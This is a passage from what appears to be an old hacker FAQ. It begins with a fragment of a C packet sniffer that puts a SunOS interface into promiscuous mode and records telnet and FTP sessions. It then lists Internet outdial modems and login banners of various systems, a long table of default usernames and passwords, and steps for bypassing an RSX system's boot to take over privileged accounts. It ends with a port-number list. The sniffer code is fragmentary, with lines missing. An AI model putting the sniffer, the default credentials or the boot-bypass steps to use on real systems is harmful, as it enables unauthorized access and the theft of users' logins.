           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {


        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

   } else {

      if(TCPFL(TH_SYN)) {





/* signal handler
void death()
{ register struct CREC *CLe;

        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    if(LOG != stdout)

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
void do_it()
    int cc;
    char *buf;
    u_short sp_ts_len;

        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
    Pexit((-1),"Eth: read");
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    sprintf(prmpt,"(%s)UP? ",ProgName);
void main(argc, argv)
int argc;
char **argv;
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,


 /*     getauth(); */

    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
            case 'B': backg=1;
            case 'D': debug=1;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        device = ifc.ifc_req->ifr_name;

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");


    signal(SIGINT, death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
        } else if(s<0)

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());


18. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.

19. What are some Internet Outdials?

Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
204            "dial12" or "dial24"
215         atz
					atdt 9xxxyyyy                     hayes compat
218                  cli
					rlogin modem
					at "login:" type 
					"modem"                 "Hayes"
232            MODEM              [Works!!]
303                   login: modem       [need password!]
307                     hayes compat
313                        "dial2400-aa" or   [can't connect]
315                     "modem"
404                       .modem8 or
					.dialout          .modem8 or
					.dialout                   .modem8|CR
					or .modem96|CR
412               LAT
					connect dialout
					atdt 91k xxx-xxxx
415                  "dial1" or "dial2"
416           modem
					atdt 9xxx-xxxx
502                   outdial2400
					atdt 9xxx-xxxx
510    atdt 9,,,,, xxx-xxxx
514                    externe#9 9xxx-xxxx
515            login MODEM 
					dial atdt8xxx-yyyy
602                    atdt8,,,,,xyyyxxxyyyy                    login: MODEM
					atdt 8xxx-xxxx
609                     "Hayes"                 "Hayes"                  the above are hayes
614      DIAL               [can't connect]
615                     "dial2400"
619                 "dialout"                     nue
713                  "connect hayes"                  c modem96
					atdt 9xxx-xxxx                  " -+ as above +- "
714                    atdt 8xxx-xxxx
804          c hayes                  connect hayes
					atdt xxx-xxxx
902                "dialout"          [down...]
916                   "dialout"          [down...]                                      [can't connect]
???                             [can't connect]                 "C Modem"          [can't connect]                                 [can't connect]                                    [can't connect]               "CALL" or "call"   [can't connect]                                         [can't connect]                                        [need password!]                                        [need password!]                                      [can't connect] / port=4000                         [what is this?]

20. What is this system?

IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]


Once in, type GO MAIN

CDC Cyber

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.

You would normally just hit return at the family prompt.  Next prompt is:


CISCO Router
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866


DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO


Hewlett Packard MPE-XL







Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991

Novell ONLAN

[To access the systems it is best to own a copy of ONLAN/PC]


[To access the systems it is best to own a copy of PCAnywhere Remote]


<any text>



Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)

MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47

Login: root

Login: browse

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN



                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>


Xylogics Annex Communications Server
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...
Annex username: TNO
Annex password:

Permission granted

21. What are the default accounts for XXX?

guest           guest

qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */




Hewlett Packard MPE-XL
HELLO           MGR.SYS
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MGR             SECURITY
MGR             SYS
PCUSER          SYS
MAIL            TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
Sysop           Sysop

DSA             # Desquetop System Administrator

PBX             PBX
NETOP           <null>

CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer

PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech

1,1/system      (Directory [1,1] Password SYSTEM)

Default accounts for Micro/RSX:


Alternately you can hit <CTRL-Z>  when the boot sequence asks you for the
date and create an account using:

	    or  RUN $ACNT

(Numbers below 10 {oct} are Priveleged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.

System 75
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field

Taco Bell
rgm             rollout
tacobell        <null>

Verifone Junior 2.05
Default password: 166816

field           service
systest         utep

22. What port is XXX on?

The file /etc/services on most Unix machines lists the activity
occurring on each port.  Here is the most complete port list in
existence, originally presented in RFC 1340:

Keyword         Decimal    Description
-------         -------    -----------
                  0/tcp    Reserved
                  0/udp    Reserved
tcpmux            1/tcp    TCP Port Service Multiplexer
tcpmux            1/udp    TCP Port Service Multiplexer
compressnet       2/tcp    Management Utility
compressnet       2/udp    Management Utility
compressnet       3/tcp    Compression Process
compressnet       3/udp    Compression Process
                  4/tcp    Unassigned
                  4/udp    Unassigned
rje               5/tcp    Remote Job Entry
rje               5/udp    Remote Job Entry
                  6/tcp    Unassigned
                  6/udp    Unassigned
echo              7/tcp    Echo
echo              7/udp    Echo
                  8/tcp    Unassigned
                  8/udp    Unassigned
discard           9/tcp    Discard
discard           9/udp    Discard
                 10/tcp    Unassigned
                 10/udp    Unassigned
systat           11/tcp    Active Users
systat           11/udp    Active Users
                 12/tcp    Unassigned
                 12/udp    Unassigned
daytime          13/tcp    Daytime
daytime          13/udp    Daytime
                 14/tcp    Unassigned
                 14/udp    Unassigned
                 15/tcp    Unassigned [was netstat]
                 15/udp    Unassigned
                 16/tcp    Unassigned
                 16/udp    Unassigned
qotd             17/tcp    Quote of the Day
qotd             17/udp    Quote of the Day
msp              18/tcp    Message Send Protocol
msp              18/udp    Message Send Protocol
chargen          19/tcp    Character Generator
chargen          19/udp    Character Generator
ftp-data         20/tcp    File Transfer [Default Data]
ftp-data         20/udp    File Transfer [Default Data]
ftp              21/tcp    File Transfer [Control]
ftp              21/udp    File Transfer [Control]
                 22/tcp    Unassigned
                 22/udp    Unassigned
telnet           23/tcp    Telnet
telnet           23/udp    Telnet
                 24/tcp    any private mail system
                 24/udp    any private mail system
smtp             25/tcp    Simple Mail Transfer
smtp             25/udp    Simple Mail Transfer
                 26/tcp    Unassigned
                 26/udp    Unassigned
nsw-fe           27/tcp    NSW User System FE
nsw-fe           27/udp    NSW User System FE
                 28/tcp    Unassigned
                 28/udp    Unassigned
msg-icp          29/tcp    MSG ICP
msg-icp          29/udp    MSG ICP
                 30/tcp    Unassigned
                 30/udp    Unassigned
msg-auth         31/tcp    MSG Authentication
msg-auth         31/udp    MSG Authentication
                 32/tcp    Unassigned
                 32/udp    Unassigned
dsp              33/tcp    Display Support Protocol
dsp              33/udp    Display Support Protocol
                 34/tcp    Unassigned
                 34/udp    Unassigned
                 35/tcp    any private printer server
                 35/udp    any private printer server
                 36/tcp    Unassigned
                 36/udp    Unassigned
time             37/tcp    Time
time             37/udp    Time
                 38/tcp    Unassigned
                 38/udp    Unassigned
rlp              39/tcp    Resource Location Protocol
rlp              39/udp    Resource Location Protocol
                 40/tcp    Unassigned
                 40/udp    Unassigned
graphics         41/tcp    Graphics
graphics         41/udp    Graphics
nameserver       42/tcp    Host Name Server
nameserver       42/udp    Host Name Server
nicname          43/tcp    Who Is
nicname          43/udp    Who Is
mpm-flags        44/tcp    MPM FLAGS Protocol
mpm-flags        44/udp    MPM FLAGS Protocol
mpm              45/tcp    Message Processing Module [recv]
mpm              45/udp    Message Processing Module [recv]
mpm-snd          46/tcp    MPM [default send]
mpm-snd          46/udp    MPM [default send]
ni-ftp           47/tcp    NI FTP
ni-ftp           47/udp    NI FTP
                 48/tcp    Unassigned
                 48/udp    Unassigned
login            49/tcp    Login Host Protocol
login            49/udp    Login Host Protocol
re-mail-ck       50/tcp    Remote Mail Checking Protocol
re-mail-ck       50/udp    Remote Mail Checking Protocol
la-maint         51/tcp    IMP Logical Address Maintenance
la-maint         51/udp    IMP Logical Address Maintenance
xns-time         52/tcp    XNS Time Protocol
xns-time         52/udp    XNS Time Protocol
domain           53/tcp    Domain Name Server
domain           53/udp    Domain Name Server
xns-ch           54/tcp    XNS Clearinghouse
xns-ch           54/udp    XNS Clearinghouse
isi-gl           55/tcp    ISI Graphics Language
isi-gl           55/udp    ISI Graphics Language
xns-auth         56/tcp    XNS Authentication
xns-auth         56/udp    XNS Authentication
                 57/tcp    any private terminal access
                 57/udp    any private terminal access
xns-mail         58/tcp    XNS Mail
xns-mail         58/udp    XNS Mail
                 59/tcp    any private file service
                 59/udp    any private file service
                 60/tcp    Unassigned
                 60/udp    Unassigned
ni-mail          61/tcp    NI MAIL
ni-mail          61/udp    NI MAIL
acas             62/tcp    ACA Services
acas             62/udp    ACA Services
via-ftp          63/tcp    VIA Systems - FTP
via-ftp          63/udp    VIA Systems - FTP
covia            64/tcp    Communications Integrator (CI)
covia            64/udp    Communications Integrator (CI)
tacacs-ds        65/tcp    TACACS-Database Service
tacacs-ds        65/udp    TACACS-Database Service
sql*net          66/tcp    Oracle SQL*NET
sql*net          66/udp    Oracle SQL*NET
bootps           67/tcp    Bootstrap Protocol Server
bootps           67/udp    Bootstrap Protocol Server
bootpc           68/tcp    Bootstrap Protocol Client
bootpc           68/udp    Bootstrap Protocol Client
tftp             69/tcp    Trivial File Transfer
tftp             69/udp    Trivial File Transfer
gopher           70/tcp    Gopher
gopher           70/udp    Gopher
netrjs-1         71/tcp    Remote Job Service
netrjs-1         71/udp    Remote Job Service
netrjs-2         72/tcp    Remote Job Service
netrjs-2         72/udp    Remote Job Service
netrjs-3         73/tcp    Remote Job Service
netrjs-3         73/udp    Remote Job Service
netrjs-4         74/tcp    Remote Job Service
netrjs-4         74/udp    Remote Job Service
                 75/tcp    any private dial out service
                 75/udp    any private dial out service
                 76/tcp    Unassigned
                 76/udp    Unassigned
                 77/tcp    any private RJE service
                 77/udp    any private RJE service
vettcp           78/tcp    vettcp
vettcp           78/udp    vettcp
finger           79/tcp    Finger
finger           79/udp    Finger
www              80/tcp    World Wide Web HTTP
www              80/udp    World Wide Web HTTP
hosts2-ns        81/tcp    HOSTS2 Name Server
hosts2-ns        81/udp    HOSTS2 Name Server
xfer             82/tcp    XFER Utility
xfer             82/udp    XFER Utility
mit-ml-dev       83/tcp    MIT ML Device
mit-ml-dev       83/udp    MIT ML Device
ctf              84/tcp    Common Trace Facility
ctf              84/udp    Common Trace Facility
mit-ml-dev       85/tcp    MIT ML Device
mit-ml-dev       85/udp    MIT ML Device
mfcobol          86/tcp    Micro Focus Cobol
mfcobol          86/udp    Micro Focus Cobol
                 87/tcp    any private terminal link
                 87/udp    any private terminal link
kerberos         88/tcp    Kerberos
kerberos         88/udp    Kerberos
su-mit-tg        89/tcp    SU/MIT Telnet Gateway
su-mit-tg        89/udp    SU/MIT Telnet Gateway
dnsix            90/tcp    DNSIX Securit Attribute Token Map
dnsix            90/udp    DNSIX Securit Attribute Token Map
mit-dov          91/tcp    MIT Dover Spooler
mit-dov          91/udp    MIT Dover Spooler
npp              92/tcp    Network Printing Protocol
npp              92/udp    Network Printing Protocol
dcp              93/tcp    Device Control Protocol
dcp              93/udp    Device Control Protocol
objcall          94/tcp    Tivoli Object Dispatcher
objcall          94/udp    Tivoli Object Dispatcher
supdup           95/tcp    SUPDUP
supdup           95/udp    SUPDUP
dixie            96/tcp    DIXIE Protocol Specification
dixie            96/udp    DIXIE Protocol Specification
swift-rvf        97/tcp    Swift Remote Vitural File Protocol
swift-rvf        97/udp    Swift Remote Vitural File Protocol
tacnews          98/tcp    TAC News
tacnews          98/udp    TAC News
metagram         99/tcp    Metagram Relay
metagram         99/udp    Metagram Relay
newacct         100/tcp    [unauthorized use]
hostname        101/tcp    NIC Host Name Server
hostname        101/udp    NIC Host Name Server
iso-tsap        102/tcp    ISO-TSAP
iso-tsap        102/udp    ISO-TSAP
gppitnp         103/tcp    Genesis Point-to-Point Trans Net
gppitnp         103/udp    Genesis Point-to-Point Trans Net
acr-nema        104/tcp    ACR-NEMA Digital Imag. & Comm. 300
acr-nema        104/udp    ACR-NEMA Digital Imag. & Comm. 300
csnet-ns        105/tcp    Mailbox Name Nameserver
csnet-ns        105/udp    Mailbox Name Nameserver
3com-tsmux      106/tcp    3COM-TSMUX
3com-tsmux      106/udp    3COM-TSMUX
rtelnet         107/tcp    Remote Telnet Service
rtelnet         107/udp    Remote Telnet Service
snagas          108/tcp    SNA Gateway Access Server
snagas          108/udp    SNA Gateway Access Server
pop2            109/tcp    Post Office Protocol - Version 2
pop2            109/udp    Post Office Protocol - Version 2
pop3            110/tcp    Post Office Protocol - Version 3
pop3            110/udp    Post Office Protocol - Version 3
sunrpc          111/tcp    SUN Remote Procedure Call
sunrpc          111/udp    SUN Remote Procedure Call
mcidas          112/tcp    McIDAS Data Transmission Protocol
mcidas          112/udp    McIDAS Data Transmission Protocol
auth            113/tcp    Authentication Service
auth            113/udp    Authentication Service
audionews       114/tcp    Audio News Multicast
audionews       114/udp    Audio News Multicast
sftp            115/tcp    Simple File Transfer Protocol
sftp            115/udp    Simple File Transfer Protocol
ansanotify      116/tcp    ANSA REX Notify
ansanotify      116/udp    ANSA REX Notify
uucp-path       117/tcp    UUCP Path Service
uucp-path       117/udp    UUCP Path Service
sqlserv         118/tcp    SQL Services
sqlserv         118/udp    SQL Services
nntp            119/tcp    Network News Transfer Protocol
nntp            119/udp    Network News Transfer Protocol
cfdptkt         120/tcp    CFDPTKT
cfdptkt         120/udp    CFDPTKT
erpc            121/tcp    Encore Expedited Remote Pro.Call
erpc            121/udp    Encore Expedited Remote Pro.Call
smakynet        122/tcp    SMAKYNET
smakynet        122/udp    SMAKYNET
ntp             123/tcp    Network Time Protocol
ntp             123/udp    Network Time Protocol
ansatrader      124/tcp    ANSA REX Trader
ansatrader      124/udp    ANSA REX Trader
locus-map       125/tcp    Locus PC-Interface Net Map Ser
locus-map       125/udp    Locus PC-Interface Net Map Ser
unitary         126/tcp    Unisys Unitary Login
unitary         126/udp    Unisys Unitary Login
locus-con       127/tcp    Locus PC-Interface Conn Server
locus-con       127/udp    Locus PC-Interface Conn Server
gss-xlicen      128/tcp    GSS X License Verification
gss-xlicen      128/udp    GSS X License Verification
pwdgen          129/tcp    Password Generator Protocol
pwdgen          129/udp    Password Generator Protocol
cisco-fna       130/tcp    cisco FNATIVE
cisco-fna       130/udp    cisco FNATIVE
cisco-tna       131/tcp    cisco TNATIVE
cisco-tna       131/udp    cisco TNATIVE
cisco-sys       132/tcp    cisco SYSMAINT
cisco-sys       132/udp    cisco SYSMAINT
statsrv         133/tcp    Statistics Service
statsrv         133/udp    Statistics Service
ingres-net      134/tcp    INGRES-NET Service
ingres-net      134/udp    INGRES-NET Service
loc-srv         135/tcp    Location Service
loc-srv         135/udp    Location Service
profile         136/tcp    PROFILE Naming System
profile         136/udp    PROFILE Naming System
netbios-ns      137/tcp    NETBIOS Name Service
netbios-ns      137/udp    NETBIOS Name Service
netbios-dgm     138/tcp    NETBIOS Datagram Service
netbios-dgm     138/udp    NETBIOS Datagram Service
netbios-ssn     139/tcp    NETBIOS Session Service
netbios-ssn     139/udp    NETBIOS Session Service
emfis-data      140/tcp    EMFIS Data Service
emfis-data      140/udp    EMFIS Data Service
emfis-cntl      141/tcp    EMFIS Control Service
emfis-cntl      141/udp    EMFIS Control Service
bl-idm          142/tcp    Britton-Lee IDM
bl-idm          142/udp    Britton-Lee IDM
imap2           143/tcp    Interim Mail Access Protocol v2
imap2           143/udp    Interim Mail Access Protocol v2
news            144/tcp    NewS
news            144/udp    NewS
uaac            145/tcp    UAAC Protocol
uaac            145/udp    UAAC Protocol
iso-tp0         146/tcp    ISO-IP0
iso-tp0         146/udp    ISO-IP0
iso-ip          147/tcp    ISO-IP
iso-ip          147/udp    ISO-IP
cronus          148/tcp    CRONUS-SUPPORT
cronus          148/udp    CRONUS-SUPPORT
aed-512         149/tcp    AED 512 Emulation Service
aed-512         149/udp    AED 512 Emulation Service
sql-net         150/tcp    SQL-NET
sql-net         150/udp    SQL-NET
hems            151/tcp    HEMS
hems            151/udp    HEMS
bftp            152/tcp    Background File Transfer Program
bftp            152/udp    Background File Transfer Program
sgmp            153/tcp    SGMP
sgmp            153/udp    SGMP
netsc-prod      154/tcp    NETSC
netsc-prod      154/udp    NETSC
netsc-dev       155/tcp    NETSC
netsc-dev       155/udp    NETSC
sqlsrv          156/tcp    SQL Service
sqlsrv          156/udp    SQL Service
knet-cmp        157/tcp    KNET/VM Command/Message Protocol
knet-cmp        157/udp    KNET/VM Command/Message Protocol
pcmail-srv      158/tcp    PCMail Server
pcmail-srv      158/udp    PCMail Server
nss-routing     159/tcp   NSS-Routing
nss-routing     159/udp   NSS-Routing
sgmp-traps      160/tcp    SGMP-TRAPS
sgmp-traps      160/udp    SGMP-TRAPS
snmp            161/tcp    SNMP
snmp            161/udp    SNMP
snmptrap        162/tcp    SNMPTRAP
snmptrap        162/udp    SNMPTRAP
cmip-man        163/tcp    CMIP/TCP Manager
cmip-man        163/udp    CMIP/TCP Manager
cmip-agent      164/tcp    CMIP/TCP Agent
smip-agent      164/udp    CMIP/TCP Agent
xns-courier     165/tcp   Xerox
xns-courier     165/udp   Xerox
s-net           166/tcp    Sirius Systems
s-net           166/udp    Sirius Systems
namp            167/tcp    NAMP
namp            167/udp    NAMP
rsvd            168/tcp    RSVD
rsvd            168/udp    RSVD
send            169/tcp    SEND
send            169/udp    SEND
print-srv       170/tcp    Network PostScript
print-srv       170/udp    Network PostScript
multiplex       171/tcp    Network Innovations Multiplex
multiplex       171/udp    Network Innovations Multiplex
cl/1            172/tcp    Network Innovations CL/1
cl/1            172/udp    Network Innovations CL/1
xyplex-mux      173/tcp    Xyplex
xyplex-mux      173/udp    Xyplex
mailq           174/tcp    MAILQ
mailq           174/udp    MAILQ
vmnet           175/tcp    VMNET
vmnet           175/udp    VMNET
genrad-mux      176/tcp    GENRAD-MUX
genrad-mux      176/udp    GENRAD-MUX
xdmcp           177/tcp    X Display Manager Control Protocol
xdmcp           177/udp    X Display Manager Control Protocol
nextstep        178/tcp    NextStep Window Server
NextStep        178/udp    NextStep Window Server
bgp             179/tcp    Border Gateway Protocol
bgp             179/udp    Border Gateway Protocol
ris             180/tcp    Intergraph
ris             180/udp    Intergraph
unify           181/tcp    Unify
unify           181/udp    Unify
audit           182/tcp    Unisys Audit SITP
audit           182/udp    Unisys Audit SITP
ocbinder        183/tcp    OCBinder
ocbinder        183/udp    OCBinder
ocserver        184/tcp    OCServer
ocserver        184/udp    OCServer
remote-kis      185/tcp    Remote-KIS
remote-kis      185/udp    Remote-KIS
kis             186/tcp    KIS Protocol
kis             186/udp    KIS Protocol
aci             187/tcp    Application Communication Interface
aci             187/udp    Application Communication Interface
mumps           188/tcp    Plus Five's MUMPS
mumps           188/udp    Plus Five's MUMPS
qft             189/tcp    Queued File Transport
qft             189/udp    Queued File Transport
gacp            190/tcp    Gateway Access Control Protocol
cacp            190/udp    Gateway Access Control Protocol
prospero        191/tcp    Prospero
prospero        191/udp    Prospero
osu-nms         192/tcp    OSU Network Monitoring System
osu-nms         192/udp    OSU Network Monitoring System
srmp            193/tcp    Spider Remote Monitoring Protocol
srmp            193/udp    Spider Remote Monitoring Protocol
irc             194/tcp    Internet Relay Chat Protocol
irc             194/udp    Internet Relay Chat Protocol
dn6-nlm-aud     195/tcp    DNSIX Network Level Module Audit
dn6-nlm-aud     195/udp    DNSIX Network Level Module Audit
dn6-smm-red     196/tcp    DNSIX Session Mgt Module Audit Redir
dn6-smm-red     196/udp    DNSIX Session Mgt Module Audit Redir
dls             197/tcp    Directory Location Service
dls             197/udp    Directory Location Service
dls-mon         198/tcp    Directory Location Service Monitor
dls-mon         198/udp    Directory Location Service Monitor
smux            199/tcp    SMUX
smux            199/udp    SMUX
src             200/tcp    IBM System Resource Controller
src             200/udp    IBM System Resource Controller
at-rtmp         201/tcp    AppleTalk Routing Maintenance
at-rtmp         201/udp    AppleTalk Routing Maintenance
at-nbp          202/tcp    AppleTalk Name Binding
at-nbp          202/udp    AppleTalk Name Binding
at-3            203/tcp    AppleTalk Unused
at-3            203/udp    AppleTalk Unused
at-echo         204/tcp    AppleTalk Echo
at-echo         204/udp    AppleTalk Echo
at-5            205/tcp    AppleTalk Unused
at-5            205/udp    AppleTalk Unused
at-zis          206/tcp    AppleTalk Zone Information
at-zis          206/udp    AppleTalk Zone Information
at-7            207/tcp    AppleTalk Unused
at-7            207/udp    AppleTalk Unused
at-8            208/tcp    AppleTalk Unused
at-8            208/udp    AppleTalk Unused
tam             209/tcp    Trivial Authenticated Mail Protocol
tam             209/udp    Trivial Authenticated Mail Protocol
z39.50          210/tcp    ANSI Z39.50
z39.50          210/udp    ANSI Z39.50
914c/g          211/tcp    Texas Instruments 914C/G Terminal
914c/g          211/udp    Texas Instruments 914C/G Terminal
anet            212/tcp    ATEXSSTR
anet            212/udp    ATEXSSTR
ipx             213/tcp    IPX
ipx             213/udp    IPX
vmpwscs         214/tcp    VM PWSCS
vmpwscs         214/udp    VM PWSCS
softpc          215/tcp    Insignia Solutions
softpc          215/udp    Insignia Solutions
atls            216/tcp    Access Technology License Server
atls            216/udp    Access Technology License Server
dbase           217/tcp    dBASE Unix
dbase           217/udp    dBASE Unix
mpp             218/tcp    Netix Message Posting Protocol
mpp             218/udp    Netix Message Posting Protocol
uarps           219/tcp    Unisys ARPs
uarps           219/udp    Unisys ARPs
imap3           220/tcp    Interactive Mail Access Protocol v3
imap3           220/udp    Interactive Mail Access Protocol v3
